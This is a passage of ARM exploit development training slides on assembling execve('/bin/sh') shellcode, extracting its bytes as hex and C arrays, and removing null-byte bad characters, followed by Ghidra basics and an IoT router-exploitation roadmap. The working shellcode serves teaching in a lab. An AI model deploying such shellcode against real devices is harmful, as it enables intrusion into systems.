||||||||||||||||||||

© SANS Institute 2021


Supervisor Call (SVC)

• Transition from userland into


09b91222e5d2d3d668cf8e52ec5d35ba
kernel land _start:
.arm
add r3, pc, #1
• A syscall id is placed into R7 bx r3

• Arguments are placed in R0, R1, .thumb


mov r0, pc
R2, R3 adr r0, _cmd
nop
• An SVC instruction is executed sub r1, r1, r1

micede1865@wii999_com
Also known as system
sub
strb
mov
svc
r2,
r1,
r7,
1
r2, r2
[r0, #7]
#11

_cmd:
calls or service calls .ascii "/bin/shA"

24356915 SEC661 | ARM Exploit Development 147

The svc instruction invokes a supervisor call. This is also referred to as a system call or service call. When
this instruction executes, it transitions into a higher privilege context, supervisor mode.

Paul Erwin
In Linux this will invoke the kernel and a lookup will happen based on the value in r7. When a svc
instruction is executed, r7 is the register that is designated to hold the syscall id. The syscall id is
used by the kernel to determine which handler it should execute while in supervisor mode.

In this example, syscall id 11 which we see getting moved into r7, is the syscall id for
execve. Execve will execute a new program. We are telling the kernel to execute a new program
(/bin/sh). Parameters for the handler we want to invoke are passed in the registers, just like we would
call a function. In this example, we want r0, which is the first parameter to hold the string representation for

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
the new program we want to execute “/bin/sh”. R1 and r2 should hold 0 or null values.

This shellcode boils down to invoking execve via a svc instruction.

execve(“/bin/sh”, 0, 0)

Instead of jumping to an execve function, we do it by using syscall id 11 and invoking a supervisor


call using the svc instruction.

live
Note: The 1 in the ‘svc 1’ instruction is arbitrary and other values can be used here.
Also, this shellcode is not perfect, there are some improvements that can be made.

Take a look at the link in Resources to see some additional syscall ids with their associations.

Reference:
https://github.com/torvalds/linux/blob/v4.17/arch/arm/tools/syscall.tbl

© 2021 Hungry Hackers, LLC 147


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Assembling ARM Shellcode on x86_64
nemo@hammerhead:/tmp$ arm-linux-gnueabi-as -o shellcode.o ./shellcode-696.s

09b91222e5d2d3d668cf8e52ec5d35ba
nemo@hammerhead:/tmp$ arm-linux-gnueabi-objdump -d ./shellcode.o

./shellcode.o: file format elf32-littlearm

Disassembly of section .text:

00000000 <_start>:
0: e28f3001 add r3, pc, #1
4: e12fff13 bx r3
8: 4678 mov r0, pc ld can be used to link object code into an
a: 300c adds r0, #12 executable binary that can be executed
c: 46c0 nop
from the command line. The ‘-N’ option is

micede1865@wii999_com
e: 9001 str r0, [sp, #4]
10: 1a49 subs r1, r1, r1 required for this shellcode.
12: 1a92 subs r2, r2, r2
14: 270b movs r7, #11
16: df01 svc 1
18: 622f str r7, [r5, #32]
1a: 6e69 ldr r1, [r5, #100]
1c: 732f strb r7, [r5, #12]
1e: 0068 lsls r0, r5, #1

nemo@hammerhead:/tmp$ arm-linux-gnueabi-ld -N -o shellcode ./shellcode.o


nemo@hammerhead:/tmp$ qemu-arm ./shellcode
$

24356915 SEC661 | ARM Exploit Development 148

ARM shellcode can be cross-compiled on a non-native platform with the right toolchain.

In the example shown in this slide, we first change to the /tmp folder in hammerhead and copy over the .s

Paul Erwin
file, so we don't unintentionally overwrite any of our files in the labs folder.

nemo@hammerhead:~$ cd /tmp/

In this example we assemble shellcode-696.s into an object file, shellcode.o using the cross-compiler
toolchain’s version of as (arm-linux-gnueabi-as).

We then use the toolchain’s version of objdump to view/verify the disassembly of our newly-created object

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
file.

Next, we link the object file using the toolchain’s linker (arm-linux-gnueabi-ld) to create a standalone,
executable file.

The –N option is used since we are writing to the code section with the ‘str r0, [sp, #4]’
instruction.

ld = (lower case L, d)
live
-N = allows the text section (code) of the program to be writeable

Once we link the object file into a new file that we can execute, we can run it with qemu-arm for testing.

Here we see that we successfully get a shell.

148 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Objcopy and XXD

• Use objcopy to extract instructions from the object file


09b91222e5d2d3d668cf8e52ec5d35ba
and save them as a binary file
• Use xxd to display bytes from the binary file
• xxd has multiple output options
nemo@mako:~/labs/shellcode/asm$ file shellcode-696.o
shellcode-696.o: ELF 32-bit LSB relocatable, ARM, EABI5 version 1 (SYSV), not stripped

micede1865@wii999_com
nemo@mako:~/labs/shellcode/asm$ objcopy -O binary shellcode-696.o shellcode-696.bin

nemo@mako:~/labs/shellcode/asm$ file shellcode-696.bin


shellcode-696.bin: data

nemo@mako:~/labs/shellcode/asm$ ls -l shellcode-696.o shellcode-696.bin


-rw-rw-r-- 1 nemo nemo 32 May 8 11:53 shellcode-696.bin
-rw-rw-r-- 1 nemo nemo 684 May 8 11:52 shellcode-696.o

nemo@mako:~/labs/shellcode/asm$ xxd -ps shellcode-696.bin


01308fe213ff2fe178460c30c0460190491a921a0b2701df2f62696e2f736800

24356915 SEC661 | ARM Exploit Development 149

Objcopy and xxd are tools that can be used to extract and format the bytes that makeup the opcode from
object files. First objcopy can extract only the bytes that make up the instructions and dropping any bytes
that are associated with an object file’s metadata. This can be done with the –O binary parameter. The

Paul Erwin
output will be a file that only contains bytes to be used in shellcode.

Be careful, if you do not specify an output file, objcopy will overwrite the original file.

The xxd instructions has various output formats that can be used for displaying hexdumps of files:

The –ps option (shown in the slide) will output in postscript plain hexdump style.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The –i option (used below) will output in C include file style. This output style can be copied and pasted
directly into a C program.

nemo@mako:~/labs/shellcode/asm$ xxd -i shellcode-696.bin


unsigned char shellcode_696_bin[] = {
0x01, 0x30, 0x8f, 0xe2, 0x13, 0xff, 0x2f, 0xe1, 0x78, 0x46, 0x0c, 0x30,
0xc0, 0x46, 0x01, 0x90, 0x49, 0x1a, 0x92, 0x1a, 0x0b, 0x27, 0x01, 0xdf,
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};
unsigned int shellcode_696_bin_len = 32;
live
The –h (help) option will provide you with additional information and output options.

© 2021 Hungry Hackers, LLC 149


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@mako:~/labs/shellcode/asm$ xxd -h
Usage:
xxd [options] [infile [outfile]]
or
xxd -r [-s [-]offset] [-c cols] [-ps] [infile [outfile]]

09b91222e5d2d3d668cf8e52ec5d35ba
Options:
-a
-b
toggle autoskip: A single '*' replaces nul-lines. Default off.
binary digit dump (incompatible with -ps,-i,-r). Default hex.
-C capitalize variable names in C include file style (-i).
-c cols format <cols> octets per line. Default 16 (-i: 12, -ps: 30).
-E show characters in EBCDIC. Default ASCII.
-e little-endian dump (incompatible with -ps,-i,-r).
-g number of octets per group in normal output. Default 2 (-e: 4).
-h
-imicede1865@wii999_com
-l len
print this summary.
output in C include file style.
stop after <len> octets.
-o off add <off> to the displayed file position.
-ps output in postscript plain hexdump style.
-r reverse operation: convert (or patch) hexdump into binary.
-r -s off revert with <off> added to file positions found in hexdump.
-s [+][-]seek start at <seek> bytes abs. (or +: rel.) infile offset.
-u use upper case hex letters.
-v
24356915
show version: "xxd V1.10 27oct98 by Juergen Weigert".

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

150 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Bad Characters (1)

09b91222e5d2d3d668cf8e52ec5d35ba
nemo@mako:~/labs/shellcode/asm/tmp$ objdump -d ./sc_null.o
...
Disassembly of section .text:
Using the –d parameter with objdump,
we see the disassembly of the object
file that gets created with the as
00000000 <_start>: (assemble) command.
0: e28f3001 add r3, pc, #1
4: e12fff13 bx r3
8: 4678 mov r0, pc This allows for review and verification
a: a003 add r0, pc, #12 of how the shellcode was assembled.
c: 46c0 nop
e: 2100 null movs r1, #0
10: 1a92 byte subs r2, r2, r2 The `mov r1, #0` assembly

micede1865@wii999_com
12:
14:
16:
71c1
270b
df01
strb
movs
svc
r1,
r7,
1
[r0, #7]
#11
instruction has a null byte (2100) in
the object code for the instruction.

00000018 <_cmd>: This will disrupt copying our


18: 6e69622f .word 0x6e69622f shellcode via a strcpy.
1c: 4168732f .word 0x4168732f

24356915 SEC661 | ARM Exploit Development 151

objdump –d (disassemble) can be used to view the object code associated with our arm assembly
instructions. We can use this command to confirm there are no bad characters present.

Paul Erwin
Here we see a null byte which will cut off the rest of our shellcode if it is read in by any type of string copy.
This is problematic and will cause our exploit to crash. The goal of the instruction is to get a 0 into r1. The
problem is that the opcode for ‘movs r1, #0` has a 00 in it. This happens when it gets assembled from an
assembly instruction to an opcode. We need to figure out another assembly instruction/opcode that gets us
the same result of getting r1 to be 0.

Sometimes with shellcode, you need to get creative.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 151


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Bad Characters (2)

• Some bytes can disrupt the functionality of our shellcode


09b91222e5d2d3d668cf8e52ec5d35ba
• This depends on our target and delivery technique
• A null byte (00) is a common bad character
• The null byte denotes the end of a string in C

micede1865@wii999_com
nemo@mako:~/labs/shellcode/asm/tmp$ xxd -ps sc_null.bin

01308fe213ff2fe1784603a0c0460021921ac1710b2701df2f62696e2f736841

Marks the end of a string

Desired result in the destination of a string copy function (i.e., strcpy) Actual result that has been cut short at 00
01308fe213ff2fe1784603a0c0460021921ac1710b2701df2f62696e2f736841 01308fe213ff2fe1784603a0c046

24356915 SEC661 | ARM Exploit Development 152

Some bytes may disrupt our shellcode, depending on the exploit and what our input allows. For example, the
null byte (00) is often considered a “bad character” because when C reads in a string, if it sees a null byte, it
considers that the end of the string. So, if we are providing a string as our exploit buffer and the C function

Paul Erwin
reading our input sees a null byte, it will stop reading input at that byte. This is a problem if we have additional
opcodes following the null byte.

In the example, if we read in this shellcode as a string, it would be cut short at the 00 and would not execute
correctly, causing a crash.

Note: The memcpy function will not be affected by nulls like this, since it uses a specified length for doing its
copy. However, if the same input is read elsewhere in the exploit (like being read in from the command line,

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
or parsed out of a network message), it could still be cut short.

Result of string copy:


01308fe213ff2fe1784603a0c046

Instead of:
01308fe213ff2fe1784603a0c0460021921ac1710b2701df2f62696e2f736841

live

152 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Alternatives for Null Bytes

09b91222e5d2d3d668cf8e52ec5d35ba
nemo@mako:~/labs/shellcode/asm/tmp$ objdump -d ./sc_null.o
...
Disassembly of section .text: “movs r1, #0” can be changed to
“sub r1, r1, r1” to avoid the null byte
00000000 <_start>: and still store 0 in r1.
0: e28f3001 add r3, pc, #1
4: e12fff13 bx r3
8: 4678 mov r0, pc
a: a003 add r0, pc, #12 The `sub r2, r2, r2` instruction results
c: 46c0 nop
e: 2100 movs r1, #0
in a 0 being stored in r2, but this
10: 1a92 subs r2, r2, r2 instruction does not have a null byte in

micede1865@wii999_com
12:
14:
16:
71c1
270b
df01
strb
movs
svc
r1,
r7,
1
[r0, #7]
#11
the object code (1a92).

This will not disrupt the copying of


00000018 <_cmd>: our shellcode via a strcpy, but has the
18: 6e69622f .word 0x6e69622f same effect of `movs r2, #0`.
1c: 4168732f .word 0x4168732f

24356915 SEC661 | ARM Exploit Development 153

Look at the instruction following the one with a null byte. There is no null byte in the opcode for ‘subs r2,
r2, r2’, but the result is the same. After this instruction r2 will be set to 0. So essentially, we can get the
same result with a different instruction and a different opcode. This is a clever trick and there are many others.

Paul Erwin
`movs r1, #0` can be changed to `sub r1, r1, r1` and once the shellcode is reassembled it
will no longer have a null byte which is a bad character that is problematic for reading in strings.

This is a clever way to get around having null bytes in our object code.
sub r1, r1, r1 //Set r1 to 0 without using null bytes
sub r2, r2, r2 // Set r2 to 0 without using null bytes

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 153


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 5 | Shellcode
Duration Time: 30 Minutes

09b91222e5d2d3d668cf8e52ec5d35ba
Once we gain control of execution, the next step is usually to establish further access. If we deliver custom
code, this usually comes in the form of shellcode. If we are attacking a common target in a test environment,
it may be sufficient to download and throw shellcode from the internet. However, knowing how it works
allows us to have confidence in what we are delivering to a target and allows us to make changes if necessary.

OBJECTIVES PREPARATION

micede1865@wii999_com
• Reviewing and understanding the assembly
instructions for sample shellcode
• Assembling object files
This lab will be done in the Mako virtual machine.

See the SANS SEC661 workbook for detailed lab


• Viewing and dumping object files to verify and instructions.
abstract shellcode
• Running sample shellcode Tools used: as, ld, objdump, objcopy, xxd, gcc

24356915 SEC661 | ARM Exploit Development 154

For detailed lab instructions, see the SANS SEC661 workbook.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

154 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 5a | Bad Characters
Duration Time: 45 Minutes

09b91222e5d2d3d668cf8e52ec5d35ba
Certain bytes can be problematic when the target process parses your exploit. This usually happens because
some functions will cut your input buffer short resulting in broken shellcode. Sometimes there is just no
getting around the problem, but other times we can make adjustments to our shellcode and avoid these types
of issues.

OBJECTIVES PREPARATION

micede1865@wii999_com
• Modifying shellcode to avoid certain bytes
(0x0b, 0x0c)
• Assembling custom shellcode and extracting
This lab will be done in the Mako virtual machine.

See the SANS SEC661 workbook for detailed lab


the bytes for use in the exploit instructions.

Tools used: as, ld, objdump, objcopy, xxd, gdb

24356915 SEC661 | ARM Exploit Development 155

For detailed lab instructions, see the SANS SEC661 workbook.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 155


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC661.1
Course Roadmap 1. ARM Overview

09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals
2. Working with ARM
Lab: Working with ARM
3. ARM Assembly
SEC661.2 4. Emulating ARM
Exploiting IoT Devices 5. Debugging ARM
Lab: Debugging ARM Assembly
6. The Stack

micede1865@wii999_com Lab: Branching


7. Stack Overflows
Labs: Stack Overflows, TLV (Bonus)
8. Exploit Mitigations
9. Shellcode
Labs: Shellcode, Bad characters (Bonus)
10. Intro to Ghidra (Bonus)

24356915 SEC661 | ARM Exploit Development 156

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

156 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC 661.1 ARM Exploit Fundamentals

Intro to Ghidra (Bonus)


09b91222e5d2d3d668cf8e52ec5d35ba
As an exploit developer, it’s rare that we have access to the source code for our
target. Ghidra is a software reverse engineering framework that is open source and
powered by Java. It provides a disassembler, decompiler, and an intermediate language
micede1865@wii999_com
called P-code. Ghidra also offers a rich, well-documented API and integrates with
Eclipse. For teams, Ghidra offers a centralized collaboration server where changes can
be tracked and shared. Ghidra offers many tools and features and in this section, we
will take a look at what you need to know to get started.

24356915 SEC661 | ARM Exploit Development 157

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 157


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Ghidra Overview

09b91222e5d2d3d668cf8e52ec5d35ba
• Reverse engineering tool suite developed by the NSA
• Free / open source (Java)
• Features
• Disassembler / decompiler

micede1865@wii999_com


Collaboration server
Version tracking (diffing)
• Scripting environment (java and jython)
• Much more

24356915 SEC661 | ARM Exploit Development 158

Ghidra is a “software reverse engineering” suite developed by the NSA. It is free and open source and
supports many different features such as version diffing tool for binaries and a centralized collaboration server
where you can share and track changes (i.e., naming and markup) with others. Ghidra is written in Java and

Paul Erwin
supports a robust API that is well documented. It also supports “jython”, a java-based python implementation.
You can do most of the things you can with IDA Pro, like create data structures, modify memory
segmentation, or even write custom loaders. Ghidra also has an emulation feature that is accessible through its
API, where you can specify and partially emulate the execution of a loaded binary image.

If you are a long-time IDA Pro user, it can be frustrating trying to shift gears and master a new framework.
However, the low price tag of $0 and the abundance of features, including centralized collaboration, may be
enough of an incentive to give it a try.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Reference:
Getting Ghidra
https://ghidra-sre.org/

4-part course by wrongbaud - complete with videos, slides, and exercises


https://hackaday.io/course/172292-introduction-to-reverse-engineering-with-Ghidra

Github repository for wrongbaud’s hackaday.io course


https://github.com/wrongbaud/hackaday-u
live

158 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Getting Started

09b91222e5d2d3d668cf8e52ec5d35ba
• Creating a project
• File / New Project
• Non-Shared project
• Enter a project name and
click Finish
• Analyzing a file
micede1865@wii999_com
• File / Import File
• Select a binary for analysis
• Right click / Open With
CodeBrowser

24356915 SEC661 | ARM Exploit Development 159

To run Ghidra in the hammerhead vm, enter the following command from a terminal window:
nemo@hammerhead:~$ ~/ghidraRun

Paul Erwin
Note: There will already be a project created that opens by default in the hammerhead vm. You are welcome
to use this project or start from scratch and create a new one using the following instructions.

The first time you run Ghidra, you will be prompted to create a new project. This project can hold multiple
files that you would like to analyze. We will be using non-shared projects since we are not using a server and
not collaborating with others.

When you import a file, Ghidra will usually recognize the file type (in our case, we are analyzing ARM ELF

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
binaries) and add the file to the project. There are a couple of icons listed under Tool Chest. The dragon is for
analyzing the binary with the CodeBrowser tool and the footsteps are for version tracking. Version tracking
will do a comparison of 2 similar binaries to see what has changed between the two versions. This tool could
be useful for patch diffing.

To invoke the CodeBrowser, you can click on the file and then click on the dragon or right click on the click
and then click Open with Codebrowser. This will open up the CodeBrowser tool and will ask if you would
like to Auto Analyze the binary if it hasn’t been done already. If it hasn’t been done, go ahead and run auto
analysis on the binary you are working with.
live

© 2021 Hungry Hackers, LLC 159


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Ghidra - CodeBrowser

09b91222e5d2d3d668cf8e52ec5d35ba

micede1865@wii999_com - Drag and drop layout


- Helps to have a big monitor
- Many features to explore!

24356915 SEC661 | ARM Exploit Development 160

The CodeBrowser interface has a lot of windows and it helps if you are using Ghidra on a big monitor. The
windows can be dragged and dropped into positions and shrank or stretched as needed. A good way to explore
CodeBrowser is to select Window from the tool bar and start opening up and testing out some of the features.

Paul Erwin
Some features that may be useful or relevant when getting started are marked in the slide with a red arrow.

If you have the screen space, it can be helpful to view some of the windows side-by-side as you are doing your
analysis. For example, having the Listing (disassembly) and the Decompile window both open, may help paint
a more complete picture of what you are looking at. Windows can also be dragged on top of each other so that
they will be accessible by clicking on tabs that appear when more than one window overlaps.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

160 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Ghidra - Scripting

09b91222e5d2d3d668cf8e52ec5d35ba

micede1865@wii999_com
java and python (jython) support

24356915 SEC661 | ARM Exploit Development 161

The Script Manager can be opened from the Window menu and lists all of the scripts available to Ghidra,
categorized and sorted into folders. As with most of the windows in Ghidra, there is a “Filter” input box below
the listing that allows you to filter and search for specific entries. Here you can create and run your own
custom scripts.
Paul Erwin
By clicking on Help/Ghidra API Help from the toolbar at the top of CodeBrowser, you will get access to
Ghidra’s API documentation. This documentation has a lot of detail regarding all of the different programming
resources available when writing your own scripts. The search bar is handy and a lot of the text is linked
allowing you to quickly navigate the API.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 161


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


CodeBrowser – Getting Started

09b91222e5d2d3d668cf8e52ec5d35ba
• Common Windows: • Tips and Tricks:
• Listing • Key bindings for custom
• Decompiler scripts
• Defined Strings • Highlighting
• Functions • Camera / snapshot view

micede1865@wii999_com


Function Graph
Bookmarks
• Ghidra server

• Script Manager In CodeBrowser, you can customize your hotkeys by going to:
Edit / Tool Options / Key Bindings
• Data Type Manager
• Memory Map

24356915 SEC661 | ARM Exploit Development 162

This slide lists some of the Windows/features that are recommended for beginners to explore and get
comfortable with. Once these are understood and the user is familiar with the interface, some of the other
features may also prove to be beneficial. This is simply offered as a suggestion to give newcomers a starting

Paul Erwin
point, but really there are many different paths you can take when learning this tool.

For those who are used to certain hotkeys in IDA, key bindings in Ghidra can be set by going to “Edit /
Tool Options / Key Bindings” from the toolbar.

As you get more familiar with Ghidra, you will find many different features that are quite useful. Here are a
few examples of some nice features, but you are encouraged to expand this list by figuring out what works for
you.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Highlighting - You can permanently highlight variable occurrences within a function. This can be done with
multiple variables.
Camera / snapshot view – Pop out a copy of a pane from the codebrowser that you can expand to full screen.
Changes made in the popped-out pane will be reflected in the Code Browser. Multiple pop outs will be tabbed
in the same window.
Ghidra server – Use a central repository for group collaboration.

live

162 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 6 | Intro to Ghidra

09b91222e5d2d3d668cf8e52ec5d35ba Duration Time: 20 Minutes

Ghidra is a free reverse engineering tool developed by the NSA. It is open source and has many features
applicable to ARM. For our purposes, being able to analyze and decompile ARM binaries in a graphical
framework is extremely helpful. For more information go to https://ghidra-sre.org/.

OBJECTIVES PREPARATION

micede1865@wii999_com
• Creating a new project in Ghidra
• Adding and analyzing ARM binary files
• Finding functions for disassembly and
This lab will be done in the Mako virtual machine.

See the SANS SEC661 workbook for detailed lab


decompilation instructions.
• Changing variable names in the disassembly
view Tools used: Ghidra

24356915 SEC661 | ARM Exploit Development 163

For detailed lab instructions, see the SANS SEC661 workbook.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 163


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021

09b91222e5d2d3d668cf8e52ec5d35ba
Section 1 - Conclusion
Questions /Announcements
micede1865@wii999_com

24356915 SEC661 | ARM Exploit Development 164

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

164 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021 SEC661 | ARM EXPLOIT DEVELOPMENT

661.2
09b91222e5d2d3d668cf8e52ec5d35ba
Exploiting IoT
micede1865@wii999_com
Devices
24356915

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

THE MOST TRUSTED SOURCE FOR INFORMATION SECURITY TRAINING, CERTIFICATION, AND RESEARCH | sans.org

https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


© 2021 Hungry Hackers, LLC. All rights reserved to Hungry Hackers, LLC and/or SA

PLEASE READ THE TERMS AND CONDITIONS OF THIS COURSEWARE LICENSE AGREEMENT
("CLA") CAREFULLY BEFORE USING ANY OF THE COURSEWARE ASSOCIATED WITH THE SANS
COURSE. THIS IS A LEGAL AND ENFORCEABLE CONTRACT BETWEEN YOU (THE “USER”) AND
SANS INSTITUTE FOR THE COURSEWARE. YOU AGREE THAT THIS AGREEMENT IS
ENFORCEABLE LIKE ANY WRITTEN NEGOTIATED AGREEMENT SIGNED BY YOU.

09b91222e5d2d3d668cf8e52ec5d35ba
With this CLA, SANS Institute hereby grants User a personal, non-exclusive license to use the Courseware
subject to the terms of this agreement. Courseware includes all printed materials, including course books
and lab workbooks, as well as any digital or other media, virtual machines, and/or data sets distributed by
SANS Institute to User for use in the SANS class associated with the Courseware. User agrees that the
CLA is the complete and exclusive statement of agreement between SANS Institute and you and that this
CLA supersedes any oral or written proposal, agreement or other communication relating to the subject
matter of this CLA.

micede1865@wii999_com
BY ACCEPTING THIS COURSEWARE,USER AGREES TO BE BOUND BY THE TERMS OF THIS CLA.
BY ACCEPTING THIS SOFTWARE, USER AGREES THAT ANY BREACH OF THE TERMS OF THIS CLA
MAY CAUSE IRREPARABLE HARM AND SIGNIFICANT INJURY TO SANS INSTITUTE, AND THAT
SANS INSTITUTE MAY ENFORCE THESE PROVISIONS BY INJUNCTION (WITHOUT THE
NECESSITY OF POSTING BOND) SPECIFIC PERFORMANCE, OR OTHER EQUITABLE RELIEF.

If User does not agree, User may return the Courseware to SANS Institute for a full refund, if applicable.

24356915
User may not copy, reproduce, re-publish, distribute, display, modify or create derivative works based upon
all or any portion of the Courseware, in any medium whether printed, electronic or otherwise, for any
purpose, without the express prior written consent of SANS Institute. Additionally, User may not sell, rent,
lease, trade, or otherwise transfer the Courseware in any way, shape, or form without the express written
consent of SANS Institute.

If any provision of this CLA is declared unenforceable in any jurisdiction, then such provision shall be

Paul Erwin
deemed to be severable from this CLA and shall not affect the remainder thereof. An amendment or
addendum to this CLA may accompany this Courseware.

SANS acknowledges that any and all software and/or tools, graphics, images, tables, charts or graphs
presented in this Courseware are the sole property of their respective trademark/registered/copyright
owners, including:

AirDrop, AirPort, AirPort Time Capsule, Apple, Apple Remote Desktop, Apple TV, App Nap, Back to My

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Mac, Boot Camp, Cocoa, FaceTime, FileVault, Finder, FireWire, FireWire logo, iCal, iChat, iLife, iMac,
iMessage, iPad, iPad Air, iPad Mini, iPhone, iPhoto, iPod, iPod classic, iPod shuffle, iPod nano, iPod touch,
iTunes, iTunes logo, iWork, Keychain, Keynote, Mac, Mac Logo, MacBook, MacBook Air, MacBook Pro,
Macintosh, Mac OS, Mac Pro, Numbers, OS X, Pages, Passbook, Retina, Safari, Siri, Spaces, Spotlight,
There’s an app for that, Time Capsule, Time Machine, Touch ID, Xcode, Xserve, App Store, and iCloud are
registered trademarks of Apple Inc.

PMP® and PMBOK® are registered trademarks of PMI.

live
SOF-ELK® is a registered trademark of Lewes Technology Consulting, LLC. Used with permission.

SIFT® is a registered trademark of Harbingers, LLC. Used with permission.

Governing Law: This Agreement shall be governed by the laws of the State of Maryland, USA.

SEC661_2_G03_01
https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC661.2 ARM Exploit Development

09b91222e5d2d3d668cf8e52ec5d35ba
Exploiting IoT Devices
micede1865@wii999_com
© 2021 Hungry Hackers, LLC | All Rights Reserved | Version # G03_01

24356915
This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 1


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


TABLE OF CONTENTS PA G E

Firmware 4
LAB: Firmware Extraction 13

09b91222e5d2d3d668cf8e52ec5d35ba
Router Emulation
Netgear Exploit
LAB: Netgear Exploit
14
34
44
ROP 45
LAB: ROP 73
Dlink Exploit 74
LAB: Dlink Exploit 96

micede1865@wii999_com
Memory Leaks
LAB: Memory Leaks
97
114
64-Bit ARM 115
LAB: 64-Bit ARM 128

24356915 SEC661 | ARM Exploit Development 2

Table of Contents for SEC661.2

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

2 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Section 2 – Lab Diagram

09b91222e5d2d3d668cf8e52ec5d35ba netgear dlink


IP Addresses
Hammerhead – 192.168.2.1
Mako – 192.168.2.10
chroot armv7 chroot armv7
Dogfish – 192.168.2.20
Netgear – 192.168.2.21
Dlink – 192.168.2.22
Tiger – 192.168.2.40

mako dogfish tiger


micede1865@wii999_com
qemu armv7 qemu armv7 qemu aarch64

hammerhead

vmware x86_64

24356915 SEC661 | ARM Exploit Development 3

This is a diagram for the lab environment. The hammerhead virtual machine (VM) will be imported and
started from within vmware. The mako, dogfish, and tiger VMs are all ARM-based Ubuntu vms started via
qemu. The netgear and dlink “VMs” are started from a chroot environment from the dogfish VM. The IP table

Paul Erwin
is here for reference. Mako, dogfish and tiger are in hammerhead’s host file and can be connected to by name
(ping, ssh, etc).

Hammerhead VM
To be ran in VMWare
NFS sharing labs folder
Mako VM
Ubuntu 32-bit ARM v7

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Tiger VM
To be ran in qemu
Start with start_mako.sh

Ubuntu 64-bit ARMv8


To be ran in qemu
Start with start_tiger.sh

live

© 2021 Hungry Hackers, LLC 3


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Course Roadmap SEC661.2

1. Firmware

09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals 2.
3.
Lab: Firmware Extraction
Router Emulation
Netgear Exploit
SEC661.2 Lab: Netgear Exploit
Exploiting IoT Devices 4. ROP
Lab: ROP
5. Dlink Exploit

micede1865@wii999_com 6.
Lab: Dlink Exploit
Memory Leaks
Lab: Memory Leaks
7. 64-Bit ARM
Lab: 64-Bit ARM

24356915 SEC661 | ARM Exploit Development 4

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

4 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


